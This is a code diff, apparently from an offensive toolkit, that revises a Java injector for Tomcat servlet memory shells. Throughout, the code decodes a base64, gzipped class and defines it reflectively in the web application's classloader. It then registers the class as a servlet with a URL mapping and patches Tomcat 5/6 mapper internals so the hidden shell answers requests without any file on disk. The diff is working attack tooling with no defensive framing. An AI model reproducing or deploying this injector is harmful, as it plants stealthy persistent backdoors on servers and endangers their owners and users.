@@ -62,19 +62,25 @@ public List<Object> getContext() throws Exception {
6262 return contexts ;
6363 }
6464
65+ private ClassLoader getWebAppClassLoader (Object context ) {
66+ try {
67+ return ((ClassLoader ) invokeMethod (context , "getClassLoader" , null , null ));
68+ } catch (Exception e ) {
69+ Object loader = invokeMethod (context , "getLoader" , null , null );
70+ return ((ClassLoader ) invokeMethod (loader , "getClassLoader" , null , null ));
71+ }
72+ }
73+
6574 @ SuppressWarnings ("all" )
6675 private Object getShell (Object context ) throws Exception {
67- ClassLoader classLoader = Thread .currentThread ().getContextClassLoader ();
68- if (classLoader == null ) {
69- classLoader = context .getClass ().getClassLoader ();
70- }
76+ ClassLoader webAppClassLoader = getWebAppClassLoader (context );
7177 try {
72- return classLoader .loadClass (getClassName ()).newInstance ();
78+ return webAppClassLoader .loadClass (getClassName ()).newInstance ();
7379 } catch (Exception e ) {
7480 byte [] clazzByte = gzipDecompress (decodeBase64 (getBase64String ()));
7581 Method defineClass = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
7682 defineClass .setAccessible (true );
77- Class <?> clazz = (Class <?>) defineClass .invoke (classLoader , clazzByte , 0 , clazzByte .length );
83+ Class <?> clazz = (Class <?>) defineClass .invoke (webAppClassLoader , clazzByte , 0 , clazzByte .length );
7884 return clazz .newInstance ();
7985 }
8086 }
@@ -85,12 +91,8 @@ public void inject(Object context, Object servlet) throws Exception {
8591 System .out .println ("servlet already injected" );
8692 return ;
8793 }
88- Class <?> containerClass = null ;
89- try {
90- containerClass = Class .forName ("org.apache.catalina.Container" );
91- } catch (ClassNotFoundException var12 ) {
92- containerClass = Class .forName ("org.apache.catalina.Container" , true , context .getClass ().getClassLoader ());
93- }
94+ ClassLoader contextClassLoader = context .getClass ().getClassLoader ();
95+ Class <?> containerClass = contextClassLoader .loadClass ("org.apache.catalina.Container" );
9496
9597 Object wrapper = invokeMethod (context , "createWrapper" , null , null );
9698 invokeMethod (wrapper , "setName" , new Class []{String .class }, new Object []{getClassName ()});
@@ -101,7 +103,7 @@ public void inject(Object context, Object servlet) throws Exception {
101103
102104 try {
103105 invokeMethod (context , "addServletMapping" , new Class []{String .class , String .class }, new Object []{getUrlPattern (), getClassName ()});
104- } catch (NoSuchMethodException var11 ) {
106+ } catch (Exception var11 ) {
105107 invokeMethod (context , "addServletMappingDecoded" , new Class []{String .class , String .class , Boolean .TYPE }, new Object []{getUrlPattern (), getClassName (), false });
106108 }
107109 support56Inject (context , wrapper );
@@ -121,7 +123,8 @@ public boolean isInjected(Object context) throws Exception {
121123 }
122124
123125 private void support56Inject (Object context , Object wrapper ) throws Exception {
124- Class <?> serverInfo = Class .forName ("org.apache.catalina.util.ServerInfo" , false , context .getClass ().getClassLoader ());
126+ ClassLoader contextClassLoader = context .getClass ().getClassLoader ();
127+ Class <?> serverInfo = contextClassLoader .loadClass ("org.apache.catalina.util.ServerInfo" );
125128 String number = (String ) invokeMethod (serverInfo , "getServerNumber" , null , null );
126129 if (!number .startsWith ("5" ) && !number .startsWith ("6" )) {
127130 return ;
@@ -141,8 +144,8 @@ private void support56Inject(Object context, Object wrapper) throws Exception {
141144 if (getFieldValue (o , "object" ) != context ) {
142145 continue ;
143146 }
144- Class <?> mapperClazz = Class . forName ("org.apache.tomcat.util.http.mapper.Mapper" , false , context . getClass (). getClassLoader () );
145- Class <?> wrapperClazz = Class . forName ("org.apache.tomcat.util.http.mapper.Mapper$Wrapper" , false , context . getClass (). getClassLoader () );
147+ Class <?> mapperClazz = contextClassLoader . loadClass ("org.apache.tomcat.util.http.mapper.Mapper" );
148+ Class <?> wrapperClazz = contextClassLoader . loadClass ("org.apache.tomcat.util.http.mapper.Mapper$Wrapper" );
146149 Constructor <?> declaredConstructor = wrapperClazz .getDeclaredConstructors ()[0 ];
147150 declaredConstructor .setAccessible (true );
148151 Object newWrapper = declaredConstructor .newInstance ();
@@ -153,7 +156,7 @@ private void support56Inject(Object context, Object wrapper) throws Exception {
153156 Object exactWrappers = getFieldValue (o , "exactWrappers" );
154157 int length = Array .getLength (exactWrappers );
155158 Object newWrappers = Array .newInstance (wrapperClazz , length + 1 );
156- Class <?> mapElementClass = Class . forName ("org.apache.tomcat.util.http.mapper.Mapper$MapElement" , false , context . getClass (). getClassLoader () );
159+ Class <?> mapElementClass = contextClassLoader . loadClass ("org.apache.tomcat.util.http.mapper.Mapper$MapElement" );
157160 Class <?> mapElementArrayClass = Array .newInstance (mapElementClass , 0 ).getClass ();
158161 invokeMethod (mapperClazz , "insertMap" , new Class []{mapElementArrayClass , mapElementArrayClass , mapElementClass }, new Object []{exactWrappers , newWrappers , newWrapper });
159162 setFieldValue (o , "exactWrappers" , newWrappers );
@@ -225,7 +228,7 @@ public static void setFieldValue(final Object obj, final String fieldName, final
225228 }
226229
227230 @ SuppressWarnings ("all" )
228- public static Object invokeMethod (Object obj , String methodName , Class <?>[] paramClazz , Object [] param ) throws NoSuchMethodException {
231+ public static Object invokeMethod (Object obj , String methodName , Class <?>[] paramClazz , Object [] param ) {
229232 try {
230233 Class <?> clazz = (obj instanceof Class ) ? (Class <?>) obj : obj .getClass ();
231234 Method method = null ;
@@ -245,8 +248,6 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para
245248 }
246249 method .setAccessible (true );
247250 return method .invoke (obj instanceof Class ? null : obj , param );
248- } catch (NoSuchMethodException e ) {
249- throw e ;
250251 } catch (Exception e ) {
251252 throw new RuntimeException ("Error invoking method: " + methodName , e );
252253 }
0 commit comments